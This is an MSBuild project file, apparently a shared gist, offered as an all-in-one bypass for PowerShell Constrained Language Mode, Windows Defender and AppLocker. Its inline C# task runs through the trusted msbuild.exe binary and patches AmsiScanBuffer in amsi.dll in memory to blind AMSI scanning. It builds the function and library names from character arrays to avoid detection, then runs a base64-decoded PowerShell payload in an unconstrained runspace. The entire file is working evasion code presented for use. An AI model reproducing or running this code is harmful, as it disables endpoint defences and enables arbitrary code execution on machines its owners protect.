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CM/Defender/Applocker AIO Bypass
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe build.csproj --> | |
<Target Name="Bypass"> | |
<BypassCLM/> | |
</Target> | |
<UsingTask | |
TaskName="BypassCLM" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="System.Management.Automation" /> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Text; | |
using System.IO; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
using System.ComponentModel; | |
using System.Collections.Generic; | |
using System.Collections.ObjectModel; | |
using System.Runtime.InteropServices; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
public class BypassCLM : Task, ITask | |
{ | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
static int Bypass() | |
{ | |
char[] chars = { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' }; | |
String funcName = string.Join("", chars); | |
char[] chars2 = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l' }; | |
String libName = string.Join("", chars2); | |
IntPtr Address = GetProcAddress(LoadLibrary(libName), funcName); | |
UIntPtr size = (UIntPtr)5; | |
uint p = 0; | |
VirtualProtect(Address, size, 0x40, out p); | |
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; | |
Marshal.Copy(Patch, 0, Address, 6); | |
return 0; | |
} | |
public override bool Execute() | |
{ | |
Runspace run = RunspaceFactory.CreateRunspace(); | |
run.Open(); | |
Console.WriteLine(Bypass()); | |
PowerShell shell = PowerShell.Create(); | |
shell.Runspace = run; | |
byte[] data = Convert.FromBase64String("payload"); | |
string exec = Encoding.Unicode.GetString(data); | |
shell.AddScript(exec); | |
shell.Invoke(); | |
Collection<PSObject> output = shell.Invoke(); | |
foreach( PSObject o in output ) | |
{ | |
Console.WriteLine(o.ToString()); | |
} | |
foreach( ErrorRecord err in shell.Streams.Error ) | |
{ | |
Console.Write("Error: " + err.ToString()); | |
} | |
run.Close(); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
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